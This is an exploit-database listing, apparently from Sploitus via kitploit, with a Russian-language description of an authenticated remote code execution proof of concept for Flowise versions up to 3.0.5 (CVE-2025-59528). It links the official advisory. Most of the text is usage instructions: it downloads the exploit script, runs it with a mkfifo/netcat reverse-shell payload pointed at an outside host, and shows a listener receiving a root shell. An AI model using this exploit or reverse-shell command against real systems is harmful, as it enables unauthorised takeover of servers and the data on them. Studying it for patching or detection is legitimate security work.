Sploitus

Exploit for CVE-2025-59528-Flowise-RCE

kitploit · 2026-08-31

Exploit Code

MARKDOWN30 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-COREY-FARLEY-CVE-2025-59528-FLOWISE-RCE
# CVE-2025-59528-Flowise-RCE

Аутентифицированный PoC удаленного выполнения кода (RCE) для Flowise версии <= 3.0.5 через CustomMCP Node (CVE-2025-59528)

Ссылка на официальный GHSA: https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3gcm-f6qx-ff7p

Пример использования для обратного шелла:

root@kitploit:~
    
    
    curl -sSLO 'https://raw.githubusercontent.com/corey-farley/CVE-2025-59528-Flowise-RCE/main/CVE-2025-59528.py'
    
    chmod +x CVE-2025-59528.py
    
    ./CVE-2025-59528.py -t 'http://target.com' -k 'API_KEY' -cmd 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.15.200 443 >/tmp/f'
    

Проверьте слушатель, и он должен сработать:

root@kitploit:~
    
    
    └─$ nc -lvnp 443
    listening on [any] 443 ...
    connect to [10.10.15.200] from (UNKNOWN) [10.129.64.221] 43393
    sh: can't access tty; job control turned off
    / # whoami
    root